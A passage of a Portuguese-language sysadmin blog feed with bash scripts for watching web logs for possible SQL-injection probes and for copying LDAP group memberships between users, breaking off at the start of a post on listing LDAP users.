&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;PARAMETRO&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; test ! -z &quot;$(echo &lt;span style=&quot;color: #cc0000;&quot;&gt;$PARAMETRO&lt;/span&gt; | egrep &lt;span style=&quot;color: #cc0000;&quot;&gt;$LISTA&lt;/span&gt; )&quot; &amp;amp;&amp;amp; echo &quot;1&quot; || &amp;nbsp;echo &quot;0&quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;
logar ()&lt;/span&gt; {&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;#&lt;br /&gt;# loga toda entrada suspeita no arquivo de LOG definido em FILELOG&lt;br /&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&amp;nbsp;       &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;ENDERECO&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$1&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #93c47d;&quot;&gt;&amp;nbsp;# ; IP DO POSSIVEL INVASOR&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;HOST&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$2&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #93c47d;&quot;&gt;# dominio atacado&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;URL&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$3&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #93c47d;&quot;&gt;# codigo injetados&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;echo &quot;$(date &quot;+%Y-%m-%d %H:%M&quot;) &lt;span style=&quot;color: #cc0000;&quot;&gt;$ENDERECO&lt;/span&gt; &lt;span style=&quot;color: #cc0000;&quot;&gt;$HOST&lt;/span&gt; &#39;&lt;span style=&quot;color: #cc0000;&quot;&gt;$URL&lt;/span&gt;&#39;&quot; &amp;gt;&amp;gt; &lt;span style=&quot;color: #cc0000;&quot;&gt;$FILELOG&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;tail -1 &lt;span style=&quot;color: #cc0000;&quot;&gt;$FILELOG&lt;/span&gt; | mail -s &quot;Possivel Inject&quot; &lt;span style=&quot;color: #cc0000;&quot;&gt;$SysAdmin&lt;/span&gt;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;
# MAIN&lt;/span&gt;&lt;br /&gt;
while [ 1 ]&lt;br /&gt;
do&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# regra falha quando endereco eh IPV6 SED ADICIONADO PARA RESOLVER PROLEMA DA REDE INTERNA&lt;br /&gt;# SE VINDO IPV6 DA INTERNET NAO IRA FUNCIONAR&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&amp;nbsp;       &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;IP&lt;/span&gt;=$( tail -1 &lt;span style=&quot;color: #cc0000;&quot;&gt;$ACSLOG&lt;/span&gt; | awk &#39;{print &lt;span style=&quot;color: #cc0000;&quot;&gt;$1&lt;/span&gt;,&quot;:&quot;,&lt;span style=&quot;color: #cc0000;&quot;&gt;$7&lt;/span&gt;,&quot;:&quot;,&lt;span style=&quot;color: #cc0000;&quot;&gt;$2&lt;/span&gt;}&#39; | sed &#39;s/::ffff://&#39; 2&amp;gt;/dev/null )&lt;br /&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #76a5af;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; INTERNET&lt;/span&gt;=$( echo &lt;span style=&quot;color: #cc0000;&quot;&gt;$IP&lt;/span&gt; | cut -d &quot;:&quot; -f1 )&lt;br /&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; QURL&lt;/span&gt;=$( echo &lt;span style=&quot;color: #cc0000;&quot;&gt;$IP&lt;/span&gt; | cut -d &quot;:&quot; -f2 )&lt;br /&gt;

&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;if [ &quot;$(testar_inject &lt;span style=&quot;color: #cc0000;&quot;&gt;$QURL&lt;/span&gt;)&quot; -eq 1 ] &amp;amp;&amp;amp; [ ! &quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;$QURL&lt;/span&gt;&quot; == &quot;&lt;span style=&quot;color: #cc0000;&quot;&gt;$QCK&lt;/span&gt;&quot; ]&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;then&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;IPC&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$INTERNET&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;QCK&lt;/span&gt;=&lt;span style=&quot;color: #cc0000;&quot;&gt;$QURL&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;logar &lt;span style=&quot;color: #cc0000;&quot;&gt;$INTERNET $QURL&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;# FUNCAO PARA DETERMINAR SE O CHEGOU NUM LIMITE TOLERAVEL DE STRINGS&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# DE POSSIVEL SQLINJECT&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;checar_eventos_de_host &lt;span style=&quot;color: #cc0000;&quot;&gt;$IPC&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;fi&lt;br /&gt;
&lt;br /&gt;
done&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Modo de Usar:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;wesleyleite:&lt;/span&gt;/home/PROGRAMACAO/SHELL/FWA&amp;nbsp;# &amp;nbsp;monitor.sh &amp;amp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Conclusão:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Não utilizo como ferramenta final, existem diversas soluções incrivelmente melhores que essa, hoje a tenho simplesmente para verificar o que nossos amiguinhos estão procurando, tendo em vista que muitos não fazem isso manual, ou seja, na grande maioria das vezes é um bot ou script que dado um ip/range ele sai a procurar de porta 80 &amp;nbsp;aberta, encontrado &amp;nbsp;procurará por um phpmyadmin vulnerável &amp;nbsp;instalado e sai inchando seu log com um monte de requisições, que claro, gerar um monte de 404, é loucura deixar um phpmyadmin &amp;nbsp;abertos para a internet é gostar muito de viver no perigo.&lt;br /&gt;
&lt;br /&gt;
Caso nunca tenha monitorado seus logs, aconselho a fazer isso a partir de agora, e pode utilizar o script e verá que em poucas horas terá uns 20 email em sua inbox.&lt;br /&gt;
&lt;br /&gt;
Não aconselho colocar bloqueio automático, uma vez que o script pode gerar muito&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt;falso negativo, &lt;/span&gt;já utilizei essa função uma vez e funcionou muito bem.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/2670470653906927564/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/03/monitorando-suas-aplicacoes-web.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/2670470653906927564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/2670470653906927564'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/03/monitorando-suas-aplicacoes-web.html' title='Monitorando suas aplicações WEB'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-3380663759199798812</id><published>2012-02-16T14:58:00.000-02:00</published><updated>2012-02-16T14:58:45.570-02:00</updated><title type='text'>Copiar Grupos de um Usuário para outro da Base do LDAP</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8VRp9YzCEyB9PYYyti2xUNUB_uz7n_-7lbSZXJ9l5RmWj05wl-2LkXMv7CPEQYuKWQu4gLox_XjN8aWXb12NEbzyLeUA1TjPyC4kWQ0KiS3b22GArdIXvcwO5vOX5QWnlsyTbv8tkuV4/s1600/blue-men-shaking-hands.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;185&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8VRp9YzCEyB9PYYyti2xUNUB_uz7n_-7lbSZXJ9l5RmWj05wl-2LkXMv7CPEQYuKWQu4gLox_XjN8aWXb12NEbzyLeUA1TjPyC4kWQ0KiS3b22GArdIXvcwO5vOX5QWnlsyTbv8tkuV4/s200/blue-men-shaking-hands.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bom, não existe uma forma simples de realizar em linha de comando tal tarefa e muita das vezes temos pessoas que não são diretamente ligadas a área, no geral, são pessoas de TI, mas, pode ser um novato fazendo &lt;span style=&quot;color: red;&quot;&gt;novatisses&lt;/span&gt; ( &lt;span style=&quot;background-color: yellow;&quot;&gt;BRINCADEIRA, JA FUI NOVATO! MAK_BILL SOFREU COM MINHAS&lt;/span&gt; &lt;span style=&quot;color: red;&quot;&gt;NOVATISSES&lt;/span&gt; ), o motivo deste script é que nós também somos filho de Deus e temos que tirar férias, claro um pouco&amp;nbsp;de treinamento serviria para alguma coisa e um script adianta meio mundo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Este script que montei é baseado nos recursos de um pacote de ferramentas chamado smbldap-tools, um conjunto de scripts para gerenciar sua base do ldap, utilizo dois comandos deste pacote &quot;smblda-userlist&quot; e &quot;smbldap-groupmod&quot;, não sei o motivo que levou ao pacote de ferramentas não conter o smbldap-userlist em algumas versões, sendo assim, tive que implementar um similar, segue link para código abaixo.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
smbldap-userlist &amp;nbsp;[link] =&amp;nbsp;&lt;a href=&quot;http://wesleyhenriqueleite.blogspot.com/2012/02/listar-usuarios-da-base-ldap.html&quot; target=&quot;_blank&quot;&gt; http://wesleyhenriqueleite.blogspot.com/2012/02/listar-usuarios-da-base-ldap.html&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;code&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#/bin/bash&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# autor: Wesley Henrique Leite&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# : wesleyhenrique [ at ] gmail [ dot ] com&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;GRUPOCOPI=$(which smbldap-groupmod)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;USERLIST=$(which smbldap-userlist)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# O SCRIPT NECESSITA DE PELOMENOS 2 PARAMETROS&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# ESTE IF CHECA EXATAMENTE ISSO, SE NAO FOR&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# IGUAL A 2 IMPRIMIR MODO DE USAR E SAI.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;if [ $# -ne 2 ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf &quot;Modo de usar\n $0 &amp;lt;DE&amp;gt; &amp;lt;PARA&amp;gt;\n&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# O SINAL DE &quot;!&quot; SERVER PARA NEGAR UMA CONDICAO, O -z CHECAR SE O RETORNO DO COMANDO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# SERÁ VAZIO, JUNTANDO TUDO, SE NAO FOR VAZIO O RETORNO DO COMANDO 1 E (&amp;amp;&amp;amp;) SE NAO FOR VAZIO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# O RETORNO DO COMANDO 2 , AMBOS OS USUÁRIOS ESTÃO NA BASE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;if [ ! -z &quot;$( $USERLIST | awk &#39;{print $3}&#39; | grep &quot;^$2$&quot; )&quot; &amp;nbsp;] &amp;amp;&amp;amp; [ ! -z &quot;$( $USERLIST | awk &#39;{print $3}&#39; | grep &quot;^$1$&quot; )&quot; ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# O FOR EH BEM SIMPLES, ARMAZENA NA VARIAVEL Grupo A LISTAGEM DE GRUPOS DO USUARIO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# INFORMADO NO PRIMEIRO PARAMETRO &quot;$1&quot;, O cut LIMPA A STRING DEIXANDO SOMENTE O&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# NOME DOS GRUPOS O grep ELIMINA O GRUPO &quot;Domain Users&quot;, POIS, ESTE É COMUM A TODOS&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# OS USUÁRIOS DA BASE DO LDAP, POR FIM ADICIONA GRUPO A GRUPO AO USUÁRIO PASSADO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# NO SEGUNDO PARAMETRO &quot;$2&quot;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for Grupo in $( getent group | grep $1 | cut -d: -f1 | grep -v &quot;Domain Users&quot; )&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# getent EH UM PROGRAMA SIMPLES QUE CAPTURA AS ENTRADAS NA BASE ADIMINISTRATIVA DO SISTEMA&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# MINHA LISTA DO LDAP SURGE GRACAS AO /etc/nsswitch.conf QUE SERVER PARA ORDERNAR&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# AS CONSULTAS NA BASE, E NELE TENHO O LDAP.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# passwd: files ldap&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# group: &amp;nbsp;files ldap&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;# EXISTEM DIVERSAS OUTRAS, UTILIZE O MAN PAGE PARA CHECAR.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $GRUPOCOPI -m $2 $Grupo&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;else&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;font-size: xx-small;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;# IMPRIMIR USUARIO NAO ECONTRADOS&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ -z &quot;$($USERLIST | grep $1 )&quot; ] &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;[ NAO ENCONTRADO ] -&amp;gt; $1 &quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;elif [ -z &quot;$($USERLIST | grep $2 )&quot; ] &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;[ NAO ENCONTRADO ] -&amp;gt; $2 &quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;/code&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/3380663759199798812/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/copiar-grupos-de-um-usuario-para-outro.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3380663759199798812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/3380663759199798812'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/copiar-grupos-de-um-usuario-para-outro.html' title='Copiar Grupos de um Usuário para outro da Base do LDAP'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8VRp9YzCEyB9PYYyti2xUNUB_uz7n_-7lbSZXJ9l5RmWj05wl-2LkXMv7CPEQYuKWQu4gLox_XjN8aWXb12NEbzyLeUA1TjPyC4kWQ0KiS3b22GArdIXvcwO5vOX5QWnlsyTbv8tkuV4/s72-c/blue-men-shaking-hands.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-8286906129861746138</id><published>2012-02-08T15:41:00.000-02:00</published><updated>2012-02-08T15:41:33.731-02:00</updated><title type='text'>Listar usuários da base LDAP</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWSnX-Nhjn8Llc1ybx_8ISMLwpkmXsBGueyzYQHO1_s6hIzlfGoeTNSvDSmPbM17wL_sjCViodr9zqWCkYZChqe4hRSM_sM_luQbWOL3_bdn6ZQdNOVWXwL6tYasIx5gZ3wbzdKhaGvsA/s1600/ldap_00.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;128&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWSnX-Nhjn8Llc1ybx_8ISMLwpkmXsBGueyzYQHO1_s6hIzlfGoeTNSvDSmPbM17wL_sjCViodr9zqWCkYZChqe4hRSM_sM_luQbWOL3_bdn6ZQdNOVWXwL6tYasIx5gZ3wbzdKhaGvsA/s200/ldap_00.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Faz um bom tempo que o conjunto de ferramenta smbldap-tools não vem com alguns recursos, devem ter embutido dentro de algum script existente ou simplesmente removido, pois, é relativamente simples extrair as informações com shell script, e sempre me ajudou bastante, como por exemplo o &quot;smbldap-userlist&quot;, quantas foram as vezes que recorri a esta para gerar listagem de usuários e ID&#39;s para fazer documentação de rede.&lt;br /&gt;
